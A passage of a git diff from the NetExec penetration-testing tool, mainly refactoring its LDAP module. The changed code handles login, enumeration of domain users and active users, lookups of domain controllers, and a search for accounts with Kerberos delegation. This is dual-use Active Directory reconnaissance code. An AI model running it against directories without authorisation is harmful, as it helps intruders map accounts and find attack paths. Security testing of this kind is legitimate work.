for attribute in entry["attributes"]:
val = [str(val) for val in attribute["vals"].components]
attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0]
val_list = []
for val in attribute["vals"].components:
try:
encoding = val.encoding
val_decoded = str(val).encode(encoding).decode("utf-8")
except UnicodeDecodeError:
# If we can't decode the value, we'll just return the bytes
val_decoded = val.__bytes__()
val_list.append(val_decoded)
attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0]
parsed_response.append(attribute_map)
return parsed_response
return parsed_response
+3 -1
View File
@@ -3,7 +3,7 @@ from nxc.logger import nxc_logger
# right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases
protocol_dict = {
"Ftp": {"ports": [21], "services": ["Ftp"]},
"ftp": {"ports": [21], "services": ["ftp"]},
"ssh": {"ports": [22, 2222], "services": ["ssh"]},
"smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]},
"ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]},
@@ -11,6 +11,8 @@ protocol_dict = {
"rdp": {"ports": [3389], "services": ["ms-wbt-server"]},
"winrm": {"ports": [5985, 5986], "services": ["wsman"]},
"vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]},
"wmi": {"ports": [135], "services": ["msrpc"]},
"nfs": {"ports": [2049], "services": ["nfs"]},
}
+8 -4
View File
@@ -24,19 +24,23 @@ class ftp(connection):
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
pass
if self.create_conn_obj() and self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.remote_version}")
return True
def print_host_info(self):
self.logger.display(f"Banner: {self.remote_version}")
return True
def create_conn_obj(self):
self.conn = FTP()
+253 -260
View File
@@ -3,34 +3,33 @@
import hashlib
import hmac
import os
import socket
from binascii import hexlify
from datetime import datetime, timedelta
from datetime import datetime
from re import sub, I
from zipfile import ZipFile
from termcolor import colored
from dns import resolver
from Cryptodome.Hash import MD4
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
from bloodhound.ad.domain import AD
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.samr import (
UF_ACCOUNTDISABLE,
UF_DONT_REQUIRE_PREAUTH,
UF_TRUSTED_FOR_DELEGATION,
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
UF_SERVER_TRUST_ACCOUNT,
)
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldaptypes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.smb import SMB_DIALECT
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smbconnection import SessionError
from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
@@ -40,6 +39,7 @@ from nxc.protocols.ldap.bloodhound import BloodHound
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.protocols.ldap.kerberos import KerberosAttacks
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.ntlm_parser import parse_challenge
ldap_error_status = {
"1": "STATUS_NOT_SUPPORTED",
@@ -134,7 +134,7 @@ class ldap(connection):
self.server_os = None
self.os_arch = 0
self.hash = None
self.ldapConnection = None
self.ldap_connection = None
self.lmhash = ""
self.nthash = ""
self.baseDN = ""
@@ -161,15 +161,18 @@ class ldap(connection):
}
)
def get_ldap_info(self, host):
def create_conn_obj(self):
target = ""
target_domain = ""
base_dn = ""
try:
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{host}"
ldap_url = f"{proto}://{self.host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
if ldap_connection:
self.logger.debug(f"ldap_connection: {ldap_connection}")
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
if self.ldap_connection:
self.logger.debug(f"ldap_connection: {self.ldap_connection}")
except SysCallError as e:
if proto == "ldaps":
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
@@ -177,9 +180,9 @@ class ldap(connection):
self.logger.fail("Even if the port is open, LDAPS may not be configured")
else:
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
exit(1)
return False
resp = ldap_connection.search(
resp = self.ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext", "dnsHostName"],
sizeLimit=0,
@@ -187,9 +190,6 @@ class ldap(connection):
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
target = None
target_domain = None
base_dn = None
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "defaultNamingContext":
@@ -205,43 +205,23 @@ class ldap(connection):
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.info(f"Skipping item, cannot process due to error {e}")
except OSError:
return [None, None, None]
except ConnectionRefusedError as e:
self.logger.debug(f"{e} on host {self.host}")
return False
except OSError as e:
self.logger.error(f"Error getting ldap info {e}")
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
return [target, target_domain, base_dn]
def get_os_arch(self):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.setRemoteHost(self.host)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
try:
dce.bind(
MSRPC_UUID_PORTMAP,
transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"),
)
except DCERPCException as e:
if str(e).find("syntaxes_not_supported") >= 0:
dce.disconnect()
return 32
else:
dce.disconnect()
return 64
except Exception as e:
self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}")
return 0
self.target = target
self.targetDomain = target_domain
self.baseDN = base_dn
return True
def get_ldap_username(self):
extended_request = ldapasn1_impacket.ExtendedRequest()
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
response = self.ldapConnection.sendReceive(extended_request)
response = self.ldap_connection.sendReceive(extended_request)
for message in response:
search_result = message["protocolOp"].getComponent()
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
@@ -252,47 +232,28 @@ class ldap(connection):
return ""
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.hostname = self.target
self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
self.remoteName = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if not self.args.no_smb:
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
self.conn.login("", "")
except BrokenPipeError as e:
self.logger.fail(f"Broken Pipe Error while attempting to login: {e}")
except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e):
self.no_ntlm = True
if not self.no_ntlm:
self.hostname = self.conn.getServerName()
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
self.os_arch = self.get_os_arch()
self.logger.extra["hostname"] = self.hostname
ntlm_challenge = None
bindRequest = ldapasn1_impacket.BindRequest()
bindRequest["version"] = 3
bindRequest["name"] = ""
negotiate = getNTLMSSPType1()
bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData()
try:
response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"]
ntlm_challenge = bytes(response["bindResponse"]["matchedDN"])
except Exception as e:
self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}")
if not self.domain:
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if ntlm_challenge:
ntlm_info = parse_challenge(ntlm_challenge)
self.server_os = ntlm_info["os_version"]
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception:
pass
# Re-connect since we logged off
self.create_conn_obj()
if not self.kdcHost and self.domain:
if not self.kdcHost and self.domain and self.domain == self.remoteName:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
@@ -301,18 +262,10 @@ class ldap(connection):
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
self.logger.extra["protocol"] = "LDAP"
return True
self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.extra["hostname"] = self.hostname
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
@@ -353,8 +306,8 @@ class ldap(connection):
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -398,8 +351,8 @@ class ldap(connection):
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -455,8 +408,8 @@ class ldap(connection):
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -476,8 +429,8 @@ class ldap(connection):
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -494,15 +447,12 @@ class ldap(connection):
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
@@ -544,8 +494,8 @@ class ldap(connection):
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -565,8 +515,8 @@ class ldap(connection):
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -584,54 +534,17 @@ class ldap(connection):
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def create_smbv1_conn(self):
self.logger.debug("Creating smbv1 connection object")
try:
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
self.smbv1 = True
if self.conn:
self.logger.debug("SMBv1 Connection successful")
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
return False
except Exception as e:
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
return True
def create_smbv3_conn(self):
self.logger.debug("Creating smbv3 connection object")
try:
self.conn = SMBConnection(self.host, self.host, None, 445)
self.smbv1 = False
if self.conn:
self.logger.debug("SMBv3 Connection successful")
except OSError:
return False
except Exception as e:
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
return True
def create_conn_obj(self):
return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn())
def get_sid(self):
self.logger.highlight(f"Domain SID {self.sid_domain}")
@@ -660,7 +573,7 @@ class ldap(connection):
attributes = ["objectSid"]
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "":
for attribute in resp[0][1]:
if str(attribute["type"]) == "objectSid":
sid = self.sid_to_str(attribute["vals"][0])
@@ -677,6 +590,9 @@ class ldap(connection):
for attribute in item["attributes"]:
if str(attribute["type"]) == "distinguishedName":
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")"))
if len(answers) == 0:
self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.")
return
# 3. get member of these groups
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))"
@@ -694,14 +610,15 @@ class ldap(connection):
t /= 10000000
return t
def search(self, searchFilter, attributes, sizeLimit=0):
def search(self, searchFilter, attributes, sizeLimit=0) -> list:
try:
if self.ldapConnection:
if self.ldap_connection:
self.logger.debug(f"Search Filter={searchFilter}")
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)
return self.ldapConnection.search(
return self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=searchFilter,
attributes=attributes,
sizeLimit=sizeLimit,
@@ -714,8 +631,8 @@ class ldap(connection):
e.getAnswers()
else:
self.logger.fail(e)
return False
return False
return []
return []
def users(self):
"""
@@ -734,38 +651,25 @@ class ldap(connection):
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
else:
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter = "(sAMAccountType=805306368)"
# default to these attributes to mirror the SMB --users functionality
# Default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
if resp:
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.highlight(f"{item['objectName']}")
return
resp_parse = parse_result_attributes(resp)
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
parsed_pw_last_set = ""
# We print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
for user in resp_parse:
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set != "":
timestamp_seconds = int(pwd_last_set) / 10**7
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
# we default attributes to blank strings if they don't exist in the dict
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
if pwd_last_set:
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
# We default attributes to blank strings if they don't exist in the dict
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}")
def groups(self):
# Building the search filter
@@ -791,97 +695,84 @@ class ldap(connection):
def dc_list(self):
# Building the search filter
resolv = resolver.Resolver()
if self.args.dns_server:
resolv.nameservers = [self.args.dns_server]
else:
resolv.nameservers = [self.host]
resolv.timeout = self.args.dns_timeout
search_filter = "(&(objectCategory=computer)(primaryGroupId=516))"
attributes = ["dNSHostName"]
resp = self.search(search_filter, attributes, 0)
resp_parse = parse_result_attributes(resp)
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
name = ""
for item in resp_parse:
name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "dNSHostName":
name = str(attribute["vals"][0])
try:
ip_address = socket.gethostbyname(name.split(".")[0])
if ip_address is not True and name != "":
self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}")
except socket.gaierror:
self.logger.fail(f"{name} = Connection timeout")
# Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records
if name:
found_record = False # Flag to check if any record is found
for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]:
if found_record:
break # If a record has been found, stop checking further
try:
answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp)
for rdata in answers:
if record_type in ["A", "AAAA"]:
ip_address = rdata.to_text()
self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}")
found_record = True # Set flag to true since a record is found
elif record_type == "CNAME":
self.logger.highlight(f"{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}")
found_record = True
elif record_type == "PTR":
self.logger.highlight(f"{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}")
found_record = True
elif record_type == "NS":
self.logger.highlight(f"{name} NS = {colored(rdata.to_text(), host_info_colors[0])}")
found_record = True
except resolv.NXDOMAIN:
self.logger.fail(f"{name} = Host not found (NXDOMAIN)")
except resolv.Timeout:
self.logger.fail(f"{name} = Connection timed out")
except resolv.NoAnswer:
self.logger.fail(f"{name} = DNS server did not respond")
except Exception as e:
self.logger.fail(f"{name} encountered an unexpected error: {e}")
else:
self.logger.fail("dNSHostName value is empty, unable to process.")
except Exception as e:
self.logger.fail("Exception:", exc_info=True)
self.logger.fail(f"Skipping item, cannot process due to error {e}")
self.logger.fail("General Error:", exc_info=True)
self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}")
def active_users(self):
if len(self.args.active_users) > 0:
arg = True
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
else:
arg = False
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter = "(sAMAccountType=805306368)"
# default to these attributes to mirror the SMB --users functionality
# Default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
allusers = parse_result_attributes(resp)
count = 0
activeusers = []
argsusers = []
if resp:
all_users = parse_result_attributes(resp)
# Filter disabled users (ignore accounts without userAccountControl value)
active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)]
if arg:
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
users_args = parse_result_attributes(resp_args)
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
for i in range(len(self.args.active_users)):
try:
argsusers.append(users_args[i])
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
else:
argsusers = allusers
self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
for user in allusers:
user_account_control = user.get("userAccountControl")
if user_account_control is not None: # Check if user_account_control is not None
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
account_disabled = int(account_control) & 2
if not account_disabled:
count += 1
activeusers.append(user.get("sAMAccountName").lower())
else:
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp_args:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.highlight(f"{item['objectName']}")
return
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for arguser in argsusers:
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
if pwd_last_set: # Checks if pwdLastSet is empty or not.
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() in activeusers):
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
for user in active_users:
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set:
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}")
def asreproast(self):
if self.password == "" and self.nthash == "" and self.kerberos is False:
@@ -1085,6 +976,107 @@ class ldap(connection):
vals = vals.replace("SetOf: ", "")
self.logger.highlight(f"{attr:<20} {vals}")
def find_delegation(self):
def printTable(items, header):
colLen = []
# Calculating maximum lenght before parsing CN.
for i, col in enumerate(header):
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
colLen.append(max(rowMaxLen, len(col)))
# Create the format string for each row
outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)])
# Print header
self.logger.highlight(outputFormat.format(*header))
self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen]))
# Print rows
for row in items:
# Get first CN value.
if "CN=" in row[1]:
row[1] = row[1].split(",")[0].split("CN=")[-1]
# Added join for DelegationRightsTo
row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3]
self.logger.highlight(outputFormat.format(*row))
# Building the search filter
search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})"
f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})"
"(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"
f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))")
# f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs
attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory",
"msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"]
resp = self.search(search_filter, attributes)
answers = []
self.logger.debug(f"Total of records returned {len(resp):d}")
resp_parse = parse_result_attributes(resp)
for item in resp_parse:
sAMAccountName = ""
userAccountControl = 0
delegation = ""
objectType = ""
rightsTo = []
protocolTransition = 0
try:
sAMAccountName = item["sAMAccountName"]
userAccountControl = int(item["userAccountControl"])
